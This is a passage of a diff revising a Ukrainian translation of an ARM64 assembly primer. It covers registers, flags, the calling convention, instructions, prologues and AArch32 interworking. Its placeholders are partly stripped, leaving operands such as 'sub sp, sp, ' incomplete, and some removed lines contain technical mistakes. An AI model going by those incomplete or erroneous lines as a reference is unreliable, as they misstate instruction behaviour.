виключення** (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недопустимий перехід на рівень виключення, цей прапор встановлюється в 1, і процесор викликає виключення недопустимого стану. -- Прапори **`DAIF`**: Ці прапори дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення. -- Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні перерви**. **`I`** налаштовує відповідь на зовнішні запити переривань (IRQ). а F пов'язаний з **швидкими запитами переривань** (FIR). -- Прапори **вибору вказівника стеку** (**`SPS`**): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням свого власного реєстру вказівника стеку та реєстром моделі користувача (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не можна зробити з EL0. +- Поточний прапорець **ширини регістрів (`nRW`)**: Якщо прапорець має значення 0, програма після відновлення працюватиме в стані виконання AArch64. +- Поточний **Exception Level** (**`EL`**): Звичайна програма, що працює на EL0, матиме значення 0. +- Прапорець **single stepping** (**`SS`**): Використовується відлагоджувачами для покрокового виконання — шляхом встановлення SS в 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і згенерує single step виключення. +- Прапорець **illegal exception state** (**`IL`**): Використовується для позначення, коли привілейоване ПЗ виконує недопустимий перехід між рівнями виключень; цей прапорець встановлюється в 1, і процесор генерує illegal state exception. +- Прапорці **`DAIF`**: Ці прапорці дозволяють привілейованій програмі селективно маскувати певні зовнішні виключення. + - Якщо **`A`** = 1, це означає, що асинхронні abort-вище згенеруються. **`I`** конфігурує реакцію на зовнішні апаратні Interrupt Requests (IRQs), а **`F`** пов’язаний з Fast Interrupt Requests (FIQs). +- Прапорці **вибору stack pointer** (**`SPS`**): Привілейовані програми, які працюють на EL1 і вище, можуть перемикатися між використанням власного регістру stack pointer і користувацького (наприклад між `SP_EL1` та `EL0`). Це перемикання виконується записом у спеціальний регістр **`SPSel`**. Зробити це з EL0 неможливо. -## **Конвенція виклику (ARM64v8)** +## **Calling Convention (ARM64v8)** -Конвенція виклику ARM64 вказує, що **перші вісім параметрів** до функції передаються в реєстрах **`x0` до `x7`**. **Додаткові** параметри передаються на **стек**. Значення **повернення** передається назад у реєстрі **`x0`**, або в **`x1`**, якщо воно довжиною 128 біт. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій. +У ARM64 calling convention перші вісім параметрів функції передаються в регістрах **`x0`** — **`x7`**. Додаткові параметри передаються по **стеку**. Значення, що повертається, повертається в регістрі **`x0`**, або також в **`x1`**, якщо воно 128-бітне. Регістри **`x19`** до **`x30`** і **`sp`** мають бути **збережені** під час викликів функцій. -При читанні функції в асемблері звертайте увагу на **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **налаштування** нового **вказівника кадру** та **виділення простору в стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції. +При читанні функції в асемблері звертайте увагу на **пролог і епілог функції**. **Пролог** зазвичай включає **збереження frame pointer (`x29`)**, **налаштування нового frame pointer** та **виділення місця в стеку**. **Епілог** зазвичай включає **відновлення збереженого frame pointer** та **повернення** з функції. -### Конвенція виклику в Swift +### Calling Convention in Swift -Swift має свою власну **конвенцію виклику**, яку можна знайти в [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift має власну **calling convention**, яку можна знайти за адресою [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Звичайні інструкції (ARM64v8)** +## **Загальні інструкції (ARM64v8)** -Інструкції ARM64 зазвичай мають **формат `opcode dst, src1, src2`**, де **`opcode`** - це **операція**, що виконується (така як `add`, `sub`, `mov` тощо), **`dst`** - це **реєстр призначення**, куди буде збережено результат, а **`src1`** та **`src2`** - це **реєстри джерела**. Негайні значення також можуть використовуватися замість реєстрів джерела. +Інструкції ARM64 зазвичай мають формат **`opcode dst, src1, src2`**, де **`opcode`** — операція (наприклад `add`, `sub`, `mov` тощо), **`dst`** — регістр-одержувач результату, а **`src1`** і **`src2`** — регістри-джерела. Замість регістрів також можуть використовуватися immediate-значення. -- **`mov`**: **Перемістити** значення з одного **реєстру** в інший. -- Приклад: `mov x0, x1` — Це переміщує значення з `x1` в `x0`. -- **`ldr`**: **Завантажити** значення з **пам'яті** в **реєстр**. -- Приклад: `ldr x0, [x1]` — Це завантажує значення з пам'ятної адреси, на яку вказує `x1`, в `x0`. -- **Режим зсуву**: Зсув, що впливає на початковий вказівник, вказується, наприклад: -- `ldr x2, [x1, #8]`, це завантажить в x2 значення з x1 + 8 -- `ldr x2, [x0, x1, lsl #2]`, це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) \* 4 -- **Режим попереднього індексування**: Це застосує обчислення до початкового значення, отримає результат і також зберігає нове початкове значення в початковому. -- `ldr x2, [x1, #8]!`, це завантажить `x1 + 8` в `x2` і зберігає в x1 результат `x1 + 8` -- `str lr, [sp, #-4]!`, Зберегти реєстр зв'язку в sp і оновити реєстр sp -- **Режим постіндексування**: Це схоже на попередній, але адреса пам'яті спочатку доступна, а потім зсув обчислюється та зберігається. -- `ldr x0, [x1], #8`, завантажити `x1` в `x0` і оновити x1 з `x1 + 8` -- **Адресація відносно PC**: У цьому випадку адреса для завантаження обчислюється відносно реєстру PC -- `ldr x1, =_start`, Це завантажить адресу, де символ `_start` починається в x1, відносно поточного PC. -- **`str`**: **Зберегти** значення з **реєстру** в **пам'ять**. -- Приклад: `str x0, [x1]` — Це зберігає значення в `x0` в пам'ятній адресі, на яку вказує `x1`. -- **`ldp`**: **Завантажити пару реєстрів**. Ця інструкція **завантажує два реєстри** з **послідовних пам'ятних** адрес. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі. -- Приклад: `ldp x0, x1, [x2]` — Це завантажує `x0` та `x1` з пам'ятних адрес `x2` та `x2 + 8` відповідно. -- **`stp`**: **Зберегти пару реєстрів**. Ця інструкція **зберігає два реєстри** в **послідовні пам'ятні** адреси. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі. -- Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в пам'ятних адресах `sp` та `sp + 8` відповідно. -- `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в пам'ятних адресах `sp+16` та `sp + 24` відповідно, і оновлює `sp` з `sp+16`. -- **`add`**: **Додати** значення двох реєстрів і зберегти результат у реєстрі. +- **`mov`**: **Перемістити** значення з одного **регістру** в інший. +- Приклад: `mov x0, x1` — Переміщує значення з `x1` в `x0`. +- **`ldr`**: **Завантажити** значення з **пам'яті** в **регістр**. +- Приклад: `ldr x0, [x1]` — Завантажує значення за адресою в `x1` в `x0`. +- **Режим зі зсувом (Offset mode)**: Зазначається зсув від початкового покажчика, наприклад: +- `ldr x2, [x1, #8]` — завантажить у x2 значення з адреси x1 + 8 +- `ldr x2, [x0, x1, lsl #2]` — завантажить в x2 елемент з масиву за базою x0 на позиції x1 (index) * 4 +- **Pre-indexed mode**: Обчислює адресу, отримує результат і також оновлює початковий регістр. +- `ldr x2, [x1, #8]!` — завантажить `x1 + 8` в `x2` і збереже в x1 результат `x1 + 8` +- `str lr, [sp, #-4]!` — Зберегти link register в sp і оновити регістр sp +- **Post-index mode**: Подібно до попереднього, але адреса доступу до пам'яті використовується, а потім обчислюється та зберігається зсув. +- `ldr x0, [x1], #8` — завантажити за адресою x1 в x0 і оновити x1 значенням `x1 + 8` +- **PC-relative addressing**: У цьому випадку адреса для завантаження обчислюється відносно регістра PC +- `ldr x1, =_start` — Завантажить адресу символу `_start` в x1 відносно поточного PC. +- **`str`**: **Записати** значення з **регістру** в **пам'ять**. +- Приклад: `str x0, [x1]` — Записує значення `x0` у пам'ять за адресою `x1`. +- **`ldp`**: **Load Pair of Registers**. Інструкція завантажує два регістри з послідовних адрес у пам'яті. Адреса формується шляхом додавання зсуву до значення іншого регістра. +- Приклад: `ldp x0, x1, [x2]` — Завантажить `x0` і `x1` з пам'яті за адресами `x2` і `x2 + 8` відповідно. +- **`stp`**: **Store Pair of Registers**. Інструкція записує два регістри в послідовні адреси пам'яті. +- Приклад: `stp x0, x1, [sp]` — Запише `x0` і `x1` у пам'ять за адресами `sp` і `sp + 8`. +- `stp x0, x1, [sp, #16]!` — Запише `x0` і `x1` у пам'ять за адресами `sp+16` і `sp+24`, і оновить `sp` до `sp+16`. +- **`add`**: **Додавання** значень двох регістрів і збереження результату в регістрі. - Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] -- Xn1 -> Призначення -- Xn2 -> Операнд 1 -- Xn3 | #imm -> Операнд 2 (реєстр або негайне) -- \[shift #N | RRX] -> Виконати зсув або виклик RRX -- Приклад: `add x0, x1, x2` — Це додає значення в `x1` та `x2` разом і зберігає результат в `x0`. -- `add x5, x5, #1, lsl #12` — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000 -- **`adds`** Це виконує `add` і оновлює прапори -- **`sub`**: **Відняти** значення двох реєстрів і зберегти результат у реєстрі. -- Перевірте **`add`** **синтаксис**. -- Приклад: `sub x0, x1, x2` — Це віднімає значення в `x2` від `x1` і зберігає результат в `x0`. -- **`subs`** Це схоже на sub, але оновлює прапор -- **`mul`**: **Помножити** значення **двох реєстрів** і зберегти результат у реєстрі. -- Приклад: `mul x0, x1, x2` — Це множить значення в `x1` та `x2` і зберігає результат в `x0`. -- **`div`**: **Поділити** значення одного реєстру на інше і зберегти результат у реєстрі. -- Приклад: `div x0, x1, x2` — Це ділить значення в `x1` на `x2` і зберігає результат в `x0`. +- Xn1 -> Destination +- Xn2 -> Operand 1 +- Xn3 | #imm -> Операнд 2 (регістр або immediate) +- \[shift #N | RRX] -> Виконати зсув або RRX +- Приклад: `add x0, x1, x2` — Додає значення в `x1` і `x2` і зберігає результат в `x0`. +- `add x5, x5, #1, lsl #12` — Це відповідає 4096 (1 зсунутий вліво на 12) -> 1 0000 0000 0000 0000 +- **`adds`** — Виконує `add` та оновлює прапорці +- **`sub`**: **Віднімання** значень двох регістрів і збереження результату в регістрі. +- Див. синтаксис **`add`**. +- Приклад: `sub x0, x1, x2` — Віднімає `x2` від `x1` і зберігає результат в `x0`. +- **`subs`** — Як `sub`, але оновлює прапорці +- **`mul`**: **Множення** значень двох регістрів і збереження результату в регістрі. +- Приклад: `mul x0, x1, x2` — Множить `x1` і `x2` і зберігає результат в `x0`. +- **`div`**: **Ділення** значення одного регістра на інший і збереження результату в регістрі. +- Приклад: `div x0, x1, x2` — Ділить `x1` на `x2` і зберігає результат в `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Логічний зсув вліво**: Додає 0 з кінця, переміщуючи інші біти вперед (множить на n разів 2) -- **Логічний зсув вправо**: Додає 1 на початку, переміщуючи інші біти назад (ділить на n разів 2 в беззнаковому) -- **Арифметичний зсув вправо**: Як **`lsr`**, але замість додавання 0, якщо найзначніший біт - 1, **додаються 1** (ділить на n разів 2 в підписаному) -- **Обертання вправо**: Як **`lsr`**, але все, що видаляється з правого боку, додається зліва -- **Обертання вправо з розширенням**: Як **`ror`**, але з прапором переносу як "найзначнішим бітом". Тобто прапор переносу переміщується до біта 31, а видалений біт - до прапора переносу. -- **`bfm`**: **Переміщення бітового поля**, ці операції **копіюють біти `0...n`** з значення та розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує на **найлівішу позицію біта**, а **`#r`** - на **кількість обертів вправо**. -- Переміщення бітового поля: `BFM Xd, Xn, #r` -- Переміщення підписаного бітового поля: `SBFM Xd, Xn, #r, #s` -- Переміщення беззнакового бітового поля: `UBFM Xd, Xn, #r, #s` -- **Витягування та вставка бітового поля:** Копіює бітове поле з одного реєстру та копіює його в інший реєстр. -- **`BFI X1, X2, #3, #4`** Вставити 4 біти з X2 з 3-го біта X1 -- **`BFXIL X1, X2, #3, #4`** Витягнути з 3-го біта X2 чотири біти та скопіювати їх в X1 -- **`SBFIZ X1, X2, #3, #4`** Розширити знак 4 біт з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти -- **`SBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, розширює їх, і поміщає результат в X1 -- **`UBFIZ X1, X2, #3, #4`** Нульове розширення 4 біт з X2 та вставка їх в X1, починаючи з позиції біта 3, обнуляючи праві біти -- **`UBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2 та поміщає нульове розширене значення в X1. -- **Розширення знака до X:** Розширює знак (або просто додає 0 в беззнаковій версії) значення, щоб мати можливість виконувати з ним операції: -- **`SXTB X1, W2`** Розширює знак байта **з W2 до X1** (`W2` є половиною `X2`) для заповнення 64 біт -- **`SXTH X1, W2`** Розширює знак 16-бітного числа **з W2 до X1** для заповнення 64 біт -- **`SXTW X1, W2`** Розширює знак байта **з W2 до X1** для заповнення 64 біт -- **`UXTB X1, W2`** Додає 0 (беззнакове) до байта **з W2 до X1** для заповнення 64 біт -- **`extr`:** Витягує біти з вказаної **пари реєстрів, що конкатенуються**. -- Приклад: `EXTR W3, W2, W1, #3` Це **конкатенує W1+W2** і отримує **з біта 3 W2 до біта 3 W1** і зберігає в W3. -- **`cmp`**: **Порівняти** два реєстри та встановити умови прапорів. Це **псевдонім `subs`**, встановлюючи реєстр призначення в нульовий реєстр. Корисно знати, чи `m == n`. -- Підтримує **той же синтаксис, що й `subs`** -- Приклад: `cmp x0, x1` — Це порівнює значення в `x0` та `x1` і відповідно встановлює умови прапорів. -- **`cmn`**: **Порівняти негативний** операнд. У цьому випадку це **псевдонім `adds`** і підтримує той же синтаксис. Корисно знати, чи `m == -n`. -- **`ccmp`**: Умовне порівняння, це порівняння, яке буде виконано лише якщо попереднє порівняння було істинним і спеціально встановить біти nzcv. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 і x3 < x4, перейти до func -- Це тому, що **`ccmp`** буде виконано лише якщо **попереднє `cmp` було `NE`**, якщо ні, біти `nzcv` будуть встановлені в 0 (що не задовольнить порівняння `blt`). -- Це також може бути використано як `ccmn` (те ж саме, але негативне, як `cmp` проти `cmn`). -- **`tst`**: Перевіряє, чи є будь-які з значень порівняння обидва 1 (працює як ANDS без зберігання результату кудись). Корисно перевірити реєстр з значенням і перевірити, чи є будь-які біти реєстру, вказані в значенні, 1. -- Приклад: `tst X1, #7` Перевірити, чи є будь-які з останніх 3 бітів X1 1 -- **`teq`**: Операція XOR, відкидаючи результат -- **`b`**: Безумовний перехід + - **Logical shift left**: Додаються нулі праворуч, біти зсуваються вліво (множення на 2^n) + - **Logical shift right**: Додаються нулі зліва (для unsigned) (ділення на 2^n) + - **Arithmetic shift right**: Як `lsr`, але якщо старший біт 1, додаються одиниці (ділення для signed) + - **Rotate right**: Як `lsr`, але біти, які виходять праворуч, додаються зліва + - **Rotate Right with Extend**: Як `ror`, але з використанням прапорця carry як найстаршого біта. Прапорець переноситься в біт 31, а викинутий біт потрапляє в carry. +- **`bfm`**: **Bit Field Move**, ці операції **копіюють біти `0...n`** з одного значення і розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує ліву позицію біта, а **`#r`** — кількість правих ротацій. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Копіює бітове поле з регістра і вставляє його в інший регістр. +- **`BFI X1, X2, #3, #4`** — Вставляє 4 біти з X2 починаючи з 3-го біта в X1 +- **`BFXIL X1, X2, #3, #4`** — Витягає з X2 4 біти починаючи з 3-го і копіює їх в X1 +- **`SBFIZ X1, X2, #3, #4`** — Знакова розширення 4 біт з X2 і вставляє їх в X1 починаючи з позиції 3, заповнюючи праві біти нулями +- **`SBFX X1, X2, #3, #4`** — Витягає 4 біти з X2 починаючи з біта 3, розширює знак і поміщає результат в X1 +- **`UBFIZ X1, X2, #3, #4`** — Нульове розширення 4 біт з X2 і вставка в X1 починаючи з позиції 3, заповнюючи праві біти нулями +- **`UBFX X1, X2, #3, #4`** — Витягає 4 біти з X2 починаючи з біта 3 і поміщає нульове розширення в X1. +- **Sign Extend To X:** Розширює знак (або додає нулі в unsigned-версії) значення для виконання операцій: +- **`SXTB X1, W2`** — Розширює знак байта **з W2 до X1** (`W2` — половина `X2`) щоб заповнити 64 біти +- **`SXTH X1, W2`** — Розширює знак 16-бітного числа **з W2 до X1** щоб заповнити 64 біти +- **`SXTW X1, W2`** — Розширює знак з W2 до X1 щоб заповнити 64 біти +- **`UXTB X1, W2`** — Додає нулі (unsigned) до байта **з W2 до X1** щоб заповнити 64 біти +- **`extr`**: Витягає біти з вказаної пари регістрів, конкатенованих разом. +- Приклад: `EXTR W3, W2, W1, #3` — Це конкатенує W1+W2 і бере біт з позиції 3 від W2 до позиції 3 від W1 і зберігає в W3. +- **`cmp`**: **Порівняння** двох регістрів і встановлення умовних прапорців. Це псевдонім для `subs`, який встановлює регістр призначення в zero register. Корисно для перевірки `m == n`. +- Підтримує той самий синтаксис, що й `subs`. +- Приклад: `cmp x0, x1` — Порівнює `x0` і `x1` і встановлює прапорці відповідно. +- **`cmn`**: **Compare negative** операнда. У цьому випадку це псевдонім для `adds` і має той самий синтаксис. Корисно для перевірки `m == -n`. +- **`ccmp`**: Умовне порівняння, виконується лише якщо попереднє порівняння було істинним і спеціально встановлює nzcv-біти. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 та x3 < x4, перехід до func +- Це працює тому, що **`ccmp`** буде виконано лише якщо попередній `cmp` був `NE`; якщо ні — біти `nzcv` будуть встановлені в 0 (що не задовольнить порівняння `blt`). +- Це також може використовуватися як `ccmn` (те ж саме, але з негативом, як `cmp` vs `cmn`). +- **`tst`**: Перевіряє, чи будь-які біти в результаті AND рівні 1 (працює як `ANDS` без збереження результату). Корисно для перевірки регістра з маскою. +- Приклад: `tst X1, #7` — Перевіряє, чи будь-який з останніх 3 бітів X1 дорівнює 1 +- **`teq`**: XOR-операція з відкиданням результату +- **`b`**: Безумовний перехід (Branch) - Приклад: `b myFunction` -- Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад) -- **`bl`**: **Перехід** з посиланням, використовується для **виклику** **підпрограми**. Зберігає **адресу повернення в `x30`**. -- Приклад: `bl myFunction` — Це викликає функцію `myFunction` і зберігає адресу повернення в `x30`. -- Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад) -- **`blr`**: **Перехід** з посиланням на реєстр, використовується для **виклику** **підпрограми**, де ціль **вказана** в **реєстрі**. Зберігає адресу повернення в `x30`. (Це -- Приклад: `blr x1` — Це викликає функцію, адреса якої міститься в `x1`, і зберігає адресу повернення в `x30`. -- **`ret`**: **Повернення** з **підпрограми**, зазвичай використовуючи адресу в **`x30`**. -- Приклад: `ret` — Це повертає з поточної підпрограми, використовуючи адресу повернення в `x30`. +- Зверніть увагу, що це не заповнить link register адресою повернення (не підходить для викликів підпрограм, які мають повертатися) +- **`bl`**: **Branch** with link, використовується для **виклику** підпрограми. Зберігає **адресу повернення в `x30`**. +- Приклад: `bl myFunction` — Викликає функцію `myFunction` і зберігає адресу повернення в `x30`. +- **`blr`**: **Branch** with Link to Register, використовується для виклику підпрограми, де ціль вказана в регістрі. Зберігає адресу повернення в `x30`. +- Приклад: `blr x1` — Викликає функцію за адресою в `x1` і зберігає адресу повернення в `x30`. +- **`ret`**: **Повернення** з підпрограми, зазвичай використовуючи адресу в **`x30`**. +- Приклад: `ret` — Повернутись з поточної підпрограми, використовуючи адресу повернення в `x30`. - **`b.`**: Умовні переходи -- **`b.eq`**: **Перехід, якщо рівно**, на основі попередньої інструкції `cmp`. -- Приклад: `b.eq label` — Якщо попередня інструкція `cmp` знайшла два рівні значення, це переходить до `label`. -- **`b.ne`**: **Перехід, якщо не рівно**. Ця інструкція перевіряє умови прапорів (які були встановлені попередньою інструкцією порівняння), і якщо порівняні значення не були рівні, вона переходить до мітки або адреси. -- Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1 не були рівні, це переходить до `label`. -- **`cbz`**: **Порівняти та перейти на нуль**. Ця інструкція порівнює реєстр з нулем, і якщо вони рівні, переходить до мітки або адреси. -- Приклад: `cbz x0, label` — Якщо значення в `x0` нульове, це переходить до `label`. -- **`cbnz`**: **Порівняти та перейти на ненульове**. Ця інструкція порівнює реєстр з нулем, і якщо вони не рівні, переходить до мітки або адреси. -- Приклад: `cbnz x0, label` — Якщо значення в `x0` ненульове, це переходить до `label`. -- **`tbnz`**: Перевірити біт і перейти на ненульове +- **`b.eq`**: **Переходити, якщо рівні**, на основі попередньої інструкції `cmp`. +- Приклад: `b.eq label` — Якщо попередній `cmp` виявив рівність, перейти на `label`. +- **`b.ne`**: **Переходити, якщо не рівні**. Перевіряє умовні прапорці і якщо значення не рівні, виконує перехід. +- Приклад: Після `cmp x0, x1`, `b.ne label` — Якщо `x0` != `x1`, перейти на `label`. +- **`cbz`**: **Compare and Branch on Zero**. Порівнює регістр із нулем і, якщо рівний, виконує перехід. +- Приклад: `cbz x0, label` — Якщо `x0` дорівнює нулю, перехід на `label`. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Порівнює регістр із нулем і, якщо не рівний, виконує перехід. +- Приклад: `cbnz x0, label` — Якщо `x0` не нуль, перехід на `label`. +- **`tbnz`**: Test bit and branch on nonzero - Приклад: `tbnz x0, #8, label` -- **`tbz`**: Перевірити біт і перейти на нуль +- **`tbz`**: Test bit and branch on zero - Приклад: `tbz x0, #8, label` -- **Умовні вибіркові операції**: Це операції, поведінка яких змінюється в залежності від умовних бітів. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо істинно, X0 = X1, якщо хибно, X0 = X2 -- `csinc Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = Xm + 1 -- `cinc Xd, Xn, cond` -> Якщо істинно, Xd = Xn + 1, якщо хибно, Xd = Xn -- `csinv Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = NOT(Xm) -- `cinv Xd, Xn, cond` -> Якщо істинно, Xd = NOT(Xn), якщо хибно, Xd = Xn -- `csneg Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = - Xm -- `cneg Xd, Xn, cond` -> Якщо істинно, Xd = - Xn, якщо хибно, Xd = Xn -- `cset Xd, Xn, Xm, cond` -> Якщо істинно, Xd = 1, якщо хибно, Xd = 0 -- `csetm Xd, Xn, Xm, cond` -> Якщо істинно, Xd = \<всі 1>, якщо хибно, Xd = 0 -- **`adrp`**: Обчислити **адресу сторінки символу** та зберегти її в реєстрі. -- Приклад: `adrp x0, symbol` — Це обчислює адресу сторінки символу `symbol` і зберігає її в `x0`. -- **`ldrsw`**: **Завантажити** підписане **32-бітне** значення з пам'яті та **розширити його до 64** біт. -- Приклад: `ldrsw x0, [x1]` — Це завантажує підписане 32-бітне значення з пам'ятної адреси, на яку вказує `x1`, розширює його до 64 біт і зберігає в `x0`. -- **`stur`**: **Зберегти значення реєстру в пам'ятну адресу**, використовуючи зсув з іншого реєстру. -- Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в пам'ятній адресі, яка на 4 байти більша, ніж адреса, що зараз в `x1`. -- **`svc`** : Зробити **системний виклик**. Це означає "Системний виклик". Коли процесор виконує цю інструкцію, він **перемикається з режиму користувача в режим ядра** і переходить до певного місця в пам'яті, де знаходиться **код обробки системних викликів ядра**. +- **Умовні операції select**: Операції, поведінка яких залежить від умовних бітів. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо true, X0 = X1, інакше X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> Якщо true, Xd = Xn, інакше Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> Якщо true, Xd = Xn + 1, інакше Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> Якщо true, Xd = Xn, інакше Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> Якщо true, Xd = NOT(Xn), інакше Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> Якщо true, Xd = Xn, інакше Xd = -Xm +- `cneg Xd, Xn, cond` -> Якщо true, Xd = -Xn, інакше Xd = Xn +- `cset Xd, Xn, Xm, cond` -> Якщо true, Xd = 1, інакше Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> Якщо true, Xd = \, інакше Xd = 0 +- **`adrp`**: Обчислити **адресу сторінки символу** і зберегти її в регістр. +- Приклад: `adrp x0, symbol` — Обчислить page-адресу `symbol` і збереже її в `x0`. +- **`ldrsw`**: **Завантажити** знакове **32-бітне** значення з пам'яті і **розширити знак до 64** біт. +- Приклад: `ldrsw x0, [x1]` — Завантажує знакове 32-бітне значення з пам'яті за адресою в `x1`, розширює знак до 64 біт і зберігає в `x0`. +- **`stur`**: **Записати значення регістру в пам'ять**, використовуючи зсув від іншого регістру. +- Приклад: `stur x0, [x1, #4]` — Записує значення `x0` в адресу `x1 + 4`. +- **`svc`**: Виклик системного виклику. Stand for "Supervisor Call". Коли процесор виконує цю інструкцію, він **переключається з user mode в kernel mode** і переходить у певне місце в пам'яті, де знаходиться код обробки системних викликів ядра. - Приклад: ```armasm -mov x8, 93 ; Завантажити номер системного виклику для виходу (93) в реєстр x8. -mov x0, 0 ; Завантажити код статусу виходу (0) в реєстр x0. -svc 0 ; Зробити системний виклик. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` ### **Пролог функції** -1. **Зберегти реєстр зв'язку та вказівник кадру в стек**: +1. **Зберегти link register і frame pointer у стек**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Встановіть новий вказівник кадру**: `mov x29, sp` (встановлює новий вказівник кадру для поточної функції) -3. **Виділіть місце в стеку для локальних змінних** (якщо потрібно): `sub sp, sp, ` (де `` - це кількість байтів, що потрібні) +2. **Встановити новий frame pointer**: `mov x29, sp` (встановлює новий frame pointer для поточної функції) +3. **Виділити місце в stack для local variables** (якщо потрібно): `sub sp, sp, ` (де `` — кількість байтів, що потрібна) ### **Епілог функції** -1. **Звільніть локальні змінні (якщо вони були виділені)**: `add sp, sp, ` -2. **Відновіть регістр посилання та вказівник кадру**: +1. **Звільнити local variables (якщо вони були виділені)**: `add sp, sp, ` +2. **Відновити link register і frame pointer**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (повертає управління виклику, використовуючи адресу в регістрі посилань) +3. **Повернення**: `ret` (повертає керування викликувальнику, використовуючи адресу в реєстрі зв'язку) ## AARCH32 Execution State -Armv8-A підтримує виконання 32-бітних програм. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може перемикатися між ними через **`interworking`**.\ -**Привілейовані** 64-бітні програми можуть планувати **виконання 32-бітних** програм, виконуючи передачу рівня виключення до менш привілейованого 32-бітного.\ -Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається знижуючи рівень виключення (наприклад, 64-бітна програма в EL1 викликає програму в EL0). Це робиться шляхом встановлення **біта 4** **`SPSR_ELx`** спеціального регістру **в 1**, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає **CPSR** програм **`AArch32`**. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, входячи в A32 або T32 в залежності від CPSR**.** +Armv8-A підтримує виконання 32‑бітних програм. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може переключатися між ними через **`interworking`**.\ +**Привілейовані** 64‑бітні програми можуть планувати виконання **32‑бітних** програм, виконавши передачу між рівнями винятків до менш привілейованого 32‑бітного режиму.\ +Зауважте, що перехід з 64‑бітного в 32‑бітний відбувається на нижчому рівні винятків (наприклад, 64‑бітна програма в EL1 запускає програму в EL0). Це робиться шляхом встановлення **біту 4 у** **`SPSR_ELx`** спеціальному регістрі **в 1**, коли поток `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає CPSR програми **`AArch32`**. Потім привілейований процес викликає інструкцію **`ERET`**, внаслідок чого процесор переходить у **`AArch32`**, входячи в A32 або T32 залежно від CPSR.** -**`interworking`** відбувається за допомогою бітів J і T CPSR. `J=0` і `T=0` означає **`A32`**, а `J=0` і `T=1` означає **T32**. Це в основному означає встановлення **найнижчого біта в 1**, щоб вказати, що набір інструкцій є T32.\ -Це встановлюється під час **інструкцій переходу interworking**, але також може бути встановлено безпосередньо з іншими інструкціями, коли PC встановлено як регістр призначення. Приклад: +The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\ +Це встановлюється під час **interworking branch instructions,** але також може бути встановлено безпосередньо іншими інструкціями, коли PC заданий як регістр призначення. Приклад: Ще один приклад: ```armasm @@ -264,60 +266,60 @@ mov r0, #8 ``` ### Registers -Є 16 32-бітних регістрів (r0-r15). **Від r0 до r14** їх можна використовувати для **будь-якої операції**, однак деякі з них зазвичай зарезервовані: +There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually 